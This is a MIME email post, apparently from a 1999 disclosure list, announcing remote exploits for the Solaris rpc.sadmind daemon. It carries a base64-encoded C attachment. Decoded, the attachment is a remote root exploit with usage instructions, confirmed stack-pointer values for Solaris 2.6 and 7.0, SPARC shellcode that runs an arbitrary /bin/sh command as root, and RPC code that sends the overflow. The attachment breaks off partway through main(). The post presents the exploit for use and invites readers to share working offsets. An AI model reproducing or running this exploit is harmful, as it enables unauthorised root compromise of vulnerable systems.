--0-1957747793-944864183=:20191 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, In the interest of full-disclosure and general anarchy amongst the sun community, here are the remote exploits for Solaris rpc.sadmind. (attached) Goodness. ttdb, cmsd, statd, mountd, pcnfsd, nlockmgr, nisd, where does the Solaris rpc madness end? *Please* send me offsets that work for you, thanks! Jennifer __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com --0-1957747793-944864183=:20191 Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-sparc-2.c" Content-Transfer-Encoding: base64 Content-Description: sadmindex-sparc-2.c Content-Disposition: attachment; filename="sadmindex-sparc-2.c" LyoqDQoqKiogIHNhZG1pbmRleCAtIFNQQVJDIFNvbGFyaXMgcmVtb3RlIHJv b3QgZXhwbG9pdCBmb3IgL3Vzci9zYmluL3NhZG1pbmQNCioqKg0KKioqICBU ZXN0ZWQgYW5kIGNvbmZpcm1lZCB1bmRlciBTb2xhcmlzIDIuNiBhbmQgNy4w IChTUEFSQykNCioqKg0KKioqICBVc2FnZTogICUgc2FkbWluZGV4IC1oIGhv c3RuYW1lIC1jIGNvbW1hbmQgLXMgc3AgWy1vIG9mZnNldF0gXA0KKioqICAg ICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0NCioqKg0K KioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2YgdGhlIG1h Y2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0ZW0gYWRt aW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21tYW5kIHRv IHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1hY2hpbmUs IHNwIGlzIHRoZSAlc3Agc3RhY2sgcG9pbnRlciB2YWx1ZSwgb2Zmc2V0DQoq KiogIGlzIHRoZSBudW1iZXIgb2YgYnl0ZXMgdG8gYWRkIHRvIHNwIHRvIGNh bGN1bGF0ZSB0aGUgZGVzaXJlZCByZXR1cm4NCioqKiAgYWRkcmVzcywgYW5k IGFsaWdubWVudCBpcyB0aGUgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBj b3JyZWN0bHkNCioqKiAgYWxpZ24gdGhlIGNvbnRlbnRzIG9mIHRoZSBleHBs b2l0IGJ1ZmZlci4NCioqKg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlv biwgdGhlIGV4cGxvaXQgd2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRo ZQ0KKioqICByZW1vdGUgbWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAg VGhlIGRhZW1vbiB3aWxsIGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQu ICBTaW5jZSBwaW5naW5nIHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBh biBleHBsb2l0DQoqKiogIGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91 IGNhbiBzYWZlbHkgb21pdCB0aGUgLWMgYW5kIC1zIG9wdGlvbnMNCioqKiAg aWYgeW91IHVzZSAtcC4NCioqKg0KKioqICBXaGVuIHNwZWNpZnlpbmcgYSBj b21tYW5kLCBiZSBzdXJlIHRvIHBhc3MgaXQgdG8gdGhlIGV4cGxvaXQgYXMg YQ0KKioqICBzaW5nbGUgYXJndW1lbnQsIG5hbWVseSBlbmNsb3NlIHRoZSBj b21tYW5kIHN0cmluZyBpbiBxdW90ZXMgaWYgaXQNCioqKiAgY29udGFpbnMg c3BhY2VzIG9yIG90aGVyIHNwZWNpYWwgc2hlbGwgZGVsaW1pdGVyIGNoYXJh Y3RlcnMuICBUaGUNCioqKiAgZXhwbG9pdCB3aWxsIHBhc3MgdGhpcyBzdHJp bmcgd2l0aG91dCBtb2RpZmljYXRpb24gdG8gL2Jpbi9zaCAtYyBvbg0KKioq ICB0aGUgcmVtb3RlIG1hY2hpbmUsIHNvIGFueSBub3JtYWxseSBhbGxvd2Vk IEJvdXJuZSBzaGVsbCBzeW50YXggaXMNCioqKiAgYWxzbyBhbGxvd2VkIGlu IHRoZSBjb21tYW5kIHN0cmluZy4gIFRoZSBjb21tYW5kIHN0cmluZyBhbmQg dGhlDQoqKiogIGFzc2VtYmx5IGNvZGUgdG8gcnVuIGl0IG11c3QgZml0IGlu c2lkZSBhIGJ1ZmZlciBvZiA1MTIgYnl0ZXMsIHNvDQoqKiogIHRoZSBjb21t YW5kIHN0cmluZyBoYXMgYSBtYXhpbXVtIGxlbmd0aCBvZiBhYm91dCAzODAg Ynl0ZXMgb3Igc28uDQoqKioNCioqKiAgRHVlIHRvIHRoZSBuYXR1cmUgb2Yg dGhlIHRhcmdldCBvdmVyZmxvdyBpbiBzYWRtaW5kLCB0aGUgZXhwbG9pdCBp cw0KKioqICBleHRyZW1lbHkgc2Vuc2l0aXZlIHRvIHRoZSAlc3Agc3RhY2sg cG9pbnRlciB2YWx1ZSB0aGF0IGlzIHByb3ZpZGVkDQoqKiogIHdoZW4gdGhl IGV4cGxvaXQgaXMgcnVuLiAgVGhlICVzcCBzdGFjayBwb2ludGVyIG11c3Qg YmUgc3BlY2lmaWVkDQoqKiogIHdpdGggdGhlIGV4YWN0IHJlcXVpcmVkIHZh bHVlLCBsZWF2aW5nIG5vIHJvb20gZm9yIGVycm9yLiAgSSBoYXZlDQoqKiog IHByb3ZpZGVkIGNvbmZpcm1lZCB2YWx1ZXMgZm9yIFNvbGFyaXMgcnVubmlu ZyBvbiBhIFN1biBTUEFSQ2VuZ2luZQ0KKioqICBVbHRyYSBBWGkgbWFjaGlu ZSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5kIG9uIGEgU1BBUkNzdGF0 aW9uIDENCioqKiAgcnVubmluZyBTb2xhcmlzIDcuMCAxMC85OC4gIE9uIGVh Y2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFydGVkIGZyb20NCioqKiAgYW4g aW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMgc3RhcnRlZCBhdCBib290IHRp bWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlzIGEgc3Ryb25nIHBvc3NpYmls aXR5IHRoYXQgdGhlIGRlbW9uc3RyYXRpb24gdmFsdWVzIHdpbGwgbm90IHdv cmsNCioqKiAgZHVlIHRvIGRpZmZlcmluZyBzZXRzIG9mIGVudmlyb25tZW50 IHZhcmlhYmxlcywgZm9yIGV4YW1wbGUgaWYgdGhlDQoqKiogIHRoZSBydW5u aW5nIGluZXRkIG9uIHRoZSByZW1vdGUgbWFjaGluZSB3YXMgc3RhcnRlZCBt YW51YWxseSBmcm9tIGFuDQoqKiogIGludGVyYWN0aXZlIHNoZWxsLiAgSWYg eW91IGZpbmQgdGhhdCB0aGUgc2FtcGxlIHZhbHVlIGZvciAlc3AgZG9lcw0K KioqICBub3Qgd29yaywgdHJ5IGFkanVzdGluZyB0aGUgdmFsdWUgYnkgLTIw NDggdG8gMjA0OCBmcm9tIHRoZSBzYW1wbGUgaW4NCioqKiAgaW5jcmVtZW50 cyBvZiA4IGZvciBzdGFydGVycy4gIFRoZSBvZmZzZXQgcGFyYW1ldGVyIGFu ZCB0aGUgYWxpZ25tZW50DQoqKiogIHBhcmFtZXRlciBoYXZlIGRlZmF1bHQg dmFsdWVzIHRoYXQgd2lsbCBiZSB1c2VkIGlmIG5vIG92ZXJyaWRpbmcNCioq KiAgdmFsdWVzIGFyZSBzcGVjaWZpZWQgb24gdGhlIGNvbW1hbmQgbGluZS4g IFRoZSBkZWZhdWx0IHZhbHVlcyBzaG91bGQNCioqKiAgYmUgc3VpdGFibGUg YW5kIGl0IHdpbGwgbm90IGxpa2VseSBiZSBuZWNlc3NhcnkgdG8gb3ZlcnJp ZGUgdGhlbS4NCioqKg0KKioqICBEZW1vbnN0cmF0aW9uIHZhbHVlcyBmb3Ig U1BBUkMgU29sYXJpczoNCioqKg0KKioqICAoMi42KSAgc2FkbWluZGV4IC1o IGhvc3QuZXhhbXBsZS5jb20gLWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTU4 MA0KKioqICAoNy4wKSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20g LWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTQxOA0KKioqDQoqKiogIFRISVMg Q09ERSBGT1IgRURVQ0FUSU9OQUwgVVNFIE9OTFkgSU4gQU4gRVRISUNBTCBN QU5ORVINCioqKg0KKioqICBDaGVleiBXaGl6DQoqKiogIGNoZWV6YmVhc3RA aG90bWFpbC5jb20NCioqKg0KKioqICBKdW5lIDI0LCAxOTk5DQoqKi8NCg0K I2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5j bHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVk ZSA8cnBjL3JwYy5oPg0KDQojZGVmaW5lIE5FVE1HVF9QUk9HIDEwMDIzMg0K I2RlZmluZSBORVRNR1RfVkVSUyAxMA0KI2RlZmluZSBORVRNR1RfUFJPQ19Q SU5HIDANCiNkZWZpbmUgTkVUTUdUX1BST0NfU0VSVklDRSAxDQoNCiNkZWZp bmUgTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQgMzANCiNkZWZpbmUgTkVUTUdU X1VEUF9QSU5HX1JFVFJZX1RJTUVPVVQgNQ0KI2RlZmluZSBORVRNR1RfVURQ X1NFUlZJQ0VfVElNRU9VVCAxDQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklD RV9SRVRSWV9USU1FT1VUIDINCg0KI2RlZmluZSBORVRNR1RfSEVBREVSX1RZ UEUgNg0KI2RlZmluZSBORVRNR1RfQVJHX0lOVCAzDQojZGVmaW5lIE5FVE1H VF9BUkdfU1RSSU5HIDkNCiNkZWZpbmUgTkVUTUdUX0VORE9GQVJHUyAibmV0 bWd0X2VuZG9mYXJncyINCg0KI2RlZmluZSBBRE1fRldfVkVSU0lPTiAiQURN X0ZXX1ZFUlNJT04iDQojZGVmaW5lIEFETV9DTElFTlRfRE9NQUlOICJBRE1f Q0xJRU5UX0RPTUFJTiINCiNkZWZpbmUgQURNX0ZFTkNFICJBRE1fRkVOQ0Ui DQoNCiNkZWZpbmUgQlVGTEVOIDEwNzYJCS8qIDI1NisyNTYrMzIrMzIrNTEy LTEyICovDQojZGVmaW5lIEFERFJMRU4gNTYwCQkvKiAyNTYrMjU2KzMyKzMy LTQtMTIgKi8NCiNkZWZpbmUgRlJBTUVMRU4xIDYwOA0KI2RlZmluZSBGUkFN RUxFTjIgNDIwMA0KI2RlZmluZSBMRU4gODQNCg0KI2RlZmluZSBPRkZTRVQg Njg4CQkvKiBkZWZhdWx0IG9mZnNldCAqLw0KI2RlZmluZSBBTElHTk1FTlQg NAkJLyogZGVmYXVsdCBhbGlnbm1lbnQgKi8NCg0KI2RlZmluZSBOT1AgMHg4 MDFiYzAwZgkJLyogeG9yICVvNywlbzcsJWcwICovDQoNCmNoYXIgc2hlbGxb XSA9DQovKiAgIDAgKi8gIlx4MjBceGJmXHhmZlx4ZmYiICAgICAgICAgICAg ICAgICAvKiBibixhID8gICAgICAgICAgKi8NCi8qIHNraXA6ICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAqLw0KLyogICA0ICovICJceDIwXHhiZlx4ZmZceGZmIiAgICAgICAgICAg ICAgICAgLyogYm4sYSA/ICAgICAgICAgICovDQovKiAgIDggKi8gIlx4N2Zc eGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBjYWxsIHNraXAgICAg ICAgKi8NCi8qIGV4ZWN2ZTogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogIDEyICovICJceDkw XHgwM1x4ZTBceDVjIiAgICAgICAgICAgICAgICAgLyogYWRkICVvNyw5Miwl bzAgICovDQovKiAgMTYgKi8gIlx4OTJceDIyXHgyMFx4MTAiICAgICAgICAg ICAgICAgICAvKiBzdWIgJW8wLDE2LCVvMSAgKi8NCi8qICAyMCAqLyAiXHg5 NFx4MWJceGMwXHgwZiIgICAgICAgICAgICAgICAgIC8qIHhvciAlbzcsJW83 LCVvMiAqLw0KLyogIDI0ICovICJceGVjXHgwMlx4M2ZceGYwIiAgICAgICAg ICAgICAgICAgLyogbGQgWyVvMC0xNl0sJWw2ICovDQovKiAgMjggKi8gIlx4 YWNceDIyXHg4MFx4MTYiICAgICAgICAgICAgICAgICAvKiBzdWIgJW8yLCVs NiwlbDYgKi8NCi8qICAzMiAqLyAiXHhhZVx4MDJceDYwXHgxMCIgICAgICAg ICAgICAgICAgIC8qIGFkZCAlbzEsMTYsJWw3ICAqLw0KLyogIDM2ICovICJc eGVlXHgyMlx4M2ZceGYwIiAgICAgICAgICAgICAgICAgLyogc3QgJWw3LFsl bzAtMTZdICovDQovKiAgNDAgKi8gIlx4YWVceDA1XHhlMFx4MDgiICAgICAg ICAgICAgICAgICAvKiBhZGQgJWw3LDgsJWw3ICAgKi8NCi8qICA0NCAqLyAi XHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAlZzAs WyVsNy0xXSAqLw0KLyogIDQ4ICovICJceGVlXHgyMlx4M2ZceGY0IiAgICAg ICAgICAgICAgICAgLyogc3QgJWw3LFslbzAtMTJdICovDQovKiAgNTIgKi8g Ilx4YWVceDA1XHhlMFx4MDMiICAgICAgICAgICAgICAgICAvKiBhZGQgJWw3 LDMsJWw3ICAgKi8NCi8qICA1NiAqLyAiXHhjMFx4MmRceGZmXHhmZiIgICAg ICAgICAgICAgICAgIC8qIHN0YiAlZzAsWyVsNy0xXSAqLw0KLyogIDYwICov ICJceGVlXHgyMlx4M2ZceGY4IiAgICAgICAgICAgICAgICAgLyogc3QgJWw3 LFslbzAtOF0gICovDQovKiAgNjQgKi8gIlx4YWVceDA1XHhjMFx4MTYiICAg ICAgICAgICAgICAgICAvKiBhZGQgJWw3LCVsNiwlbDcgKi8NCi8qICA2OCAq LyAiXHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAl ZzAsWyVsNy0xXSAqLw0KLyogIDcyICovICJceGMwXHgyMlx4M2ZceGZjIiAg ICAgICAgICAgICAgICAgLyogc3QgJWcwLFslbzAtNF0gICovDQovKiAgNzYg Ki8gIlx4ODJceDEwXHgyMFx4M2IiICAgICAgICAgICAgICAgICAvKiBtb3Yg NTksJWcxICAgICAgKi8NCi8qICA4MCAqLyAiXHg5MVx4ZDBceDIwXHgwOCIg ICAgICAgICAgICAgICAgIC8qIHRhIDggICAgICAgICAgICAqLw0KLyogZGF0 YTogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICovDQovKiAgODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYi ICAgICAgICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAgKi8NCi8qICA4 OCAqLyAiXHhmZlx4ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERB VEEgICAgICAgICAgICAqLw0KLyogIDkyICovICJceGZmXHhmZlx4ZmZceGZm IiAgICAgICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICovDQovKiAg OTYgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE QVRBICAgICAgICAgICAgKi8NCi8qIDEwMCAqLyAiXHgyZlx4NjJceDY5XHg2 ZVx4MmZceDczXHg2OFx4ZmYiIC8qIERBVEEgICAgICAgICAgICAqLw0KLyog MTA4ICovICJceDJkXHg2M1x4ZmYiOyAgICAgICAgICAgICAgICAgICAgLyog REFUQSAgICAgICAgICAgICovDQoNCmV4dGVybiBjaGFyICpvcHRhcmc7DQoN CnN0cnVjdCBubV9zZW5kX2hlYWRlciB7DQogICAgc3RydWN0IHRpbWV2YWwg dGltZXZhbDE7DQogICAgc3RydWN0IHRpbWV2YWwgdGltZXZhbDI7DQogICAg c3RydWN0IHRpbWV2YWwgdGltZXZhbDM7DQogICAgdW5zaWduZWQgaW50IHVp bnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsNCiAgICB1bnNpZ25lZCBp bnQgdWludDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KICAgIHVuc2ln bmVkIGludCB1aW50NTsNCiAgICBzdHJ1Y3QgaW5fYWRkciBpbmFkZHIxOw0K ICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjI7DQogICAgdW5zaWduZWQgbG9u ZyB1bG9uZzE7DQogICAgdW5zaWduZWQgbG9uZyB1bG9uZzI7DQogICAgc3Ry dWN0IGluX2FkZHIgaW5hZGRyMzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25n MzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nNDsNCiAgICB1bnNpZ25lZCBs b25nIHVsb25nNTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsNDsNCiAg ICB1bnNpZ25lZCBpbnQgdWludDY7DQogICAgc3RydWN0IHRpbWV2YWwgdGlt ZXZhbDU7DQogICAgY2hhciAqc3RyaW5nMTsNCiAgICBjaGFyICpzdHJpbmcy Ow0KICAgIGNoYXIgKnN0cmluZzM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ3 Ow0KfTsNCg0Kc3RydWN0IG5tX3NlbmRfYXJnX2ludCB7DQogICAgY2hhciAq c3RyaW5nMTsNCiAgICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWdu ZWQgaW50IHVpbnQyOw0KICAgIGludCBpbnQxOw0KICAgIHVuc2lnbmVkIGlu dCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1 Y3Qgbm1fc2VuZF9hcmdfc3RyaW5nIHsNCiAgICBjaGFyICpzdHJpbmcxOw0K ICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNpZ25lZCBpbnQgdWlu dDI7DQogICAgY2hhciAqc3RyaW5nMjsNCiAgICB1bnNpZ25lZCBpbnQgdWlu dDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KfTsNCg0Kc3RydWN0IG5t X3NlbmRfZm9vdGVyIHsNCiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0Kc3Ry dWN0IG5tX3NlbmQgew0KICAgIHN0cnVjdCBubV9zZW5kX2hlYWRlciBoZWFk ZXI7DQogICAgc3RydWN0IG5tX3NlbmRfYXJnX2ludCB2ZXJzaW9uOw0KICAg IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgc3RyaW5nOw0KICAgIHN0cnVj dCBubV9zZW5kX2FyZ19pbnQgZmVuY2U7DQogICAgc3RydWN0IG5tX3NlbmRf Zm9vdGVyIGZvb3RlcjsNCn07DQoNCnN0cnVjdCBubV9yZXBseSB7DQogICAg dW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsN CiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0KYm9vbF90DQp4ZHJfbm1fc2Vu ZF9oZWFkZXIoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fc2VuZF9oZWFkZXIgKm9i anApDQp7DQogICAgY2hhciAqYWRkcjsNCiAgICBzaXplX3Qgc2l6ZSA9IHNp emVvZihzdHJ1Y3QgaW5fYWRkcik7DQoNCiAgICBpZiAoIXhkcl9sb25nKHhk cnMsICZvYmpwLT50aW1ldmFsMS50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0Up Ow0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWwxLnR2 X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmco eGRycywgJm9ianAtPnRpbWV2YWwyLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIu dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDMudHZfc2VjKSkNCglyZXR1cm4gKEZB TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs My50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91 X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0K ICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0 dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt PnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu dCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg IGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NSkpDQoJcmV0dXJu IChGQUxTRSk7DQogICAgYWRkciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIx LnNfYWRkcjsNCiAgICBpZiAoIXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNp emUsIHNpemUpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIgPSAoY2hh ciAqKSAmb2JqcC0+aW5hZGRyMi5zX2FkZHI7DQogICAgaWYgKCF4ZHJfYnl0 ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4gKEZBTFNF KTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVsb25nMSkp DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMs ICZvYmpwLT51bG9uZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIg PSAoY2hhciAqKSAmb2JqcC0+aW5hZGRyMy5zX2FkZHI7DQogICAgaWYgKCF4 ZHJfYnl0ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4g KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVs b25nMykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25n KHhkcnMsICZvYmpwLT51bG9uZzQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg IGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmc1KSkNCglyZXR1 cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50 aW1ldmFsNC50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgh eGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWw0LnR2X3VzZWMpKQ0KCXJl dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpw LT51aW50NikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDUudHZfc2VjKSkNCglyZXR1cm4gKEZB TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs NS50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93 cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZB TFNFKTsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z dHJpbmcyKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93cmFw c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmczKSkNCglyZXR1cm4gKEZBTFNF KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDcpKQ0K CXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJv b2xfdA0KeGRyX25tX3NlbmRfYXJnX2ludChYRFIgKnhkcnMsIHN0cnVjdCBu bV9zZW5kX2FyZ19pbnQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfd3JhcHN0 cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJuIChGQUxTRSk7 DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkNCgly ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq cC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2lu dCh4ZHJzLCAmb2JqcC0+aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAg aWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQzKSkNCglyZXR1cm4g KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWlu dDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9 DQoNCmJvb2xfdA0KeGRyX25tX3NlbmRfYXJnX3N0cmluZyhYRFIgKnhkcnMs IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgKm9ianApDQp7DQogICAgaWYg KCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0 dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt PnVpbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu dCh4ZHJzLCAmb2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg IGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzIpKQ0K CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv YmpwLT51aW50MykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf dV9pbnQoeGRycywgJm9ianAtPnVpbnQ0KSkNCglyZXR1cm4gKEZBTFNFKTsN CiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5k X2Zvb3RlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2Zvb3RlciAqb2Jq cCkNCnsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z dHJpbmcxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUp Ow0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5kKFhEUiAqeGRycywgc3RydWN0 IG5tX3NlbmQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9oZWFk ZXIoeGRycywgJm9ianAtPmhlYWRlcikpDQoJcmV0dXJuIChGQUxTRSk7DQog ICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZvYmpwLT52ZXJz aW9uKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5k X2FyZ19zdHJpbmcoeGRycywgJm9ianAtPnN0cmluZykpDQoJcmV0dXJuIChG QUxTRSk7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZv YmpwLT5mZW5jZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf bm1fc2VuZF9mb290ZXIoeGRycywgJm9ianAtPmZvb3RlcikpDQoJcmV0dXJu IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KYm9vbF90DQp4 ZHJfbm1fcmVwbHkoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fcmVwbHkgKm9ianAp DQp7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkN CglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAm b2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo RkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmludA0KbWFpbihp bnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KICAgIENMSUVOVCAqY2w7DQog ICAgc3RydWN0IG5tX3NlbmQgc2VuZDsNCiAgICBzdHJ1Y3Qgbm1fcmVwbHkg cmVwbHk7DQogICAgc3RydWN0IHRpbWV2YWwgdG07DQogICAgZW51bSBjbG50 X3N0YXQgc3RhdDsNCiAgICBpbnQgYywgaSwgbGVuLCBzbGVuLCBjbGVuOw0K ICAgIGNoYXIgKnByb2dyYW0sICpjcCwgYnVmW0JVRkxFTisxXTsNCiAgICBj aGFyICpob3N0bmFtZSwgKmNvbW1hbmQ7DQogICAgaW50IG9mZnNldCwgYWxp 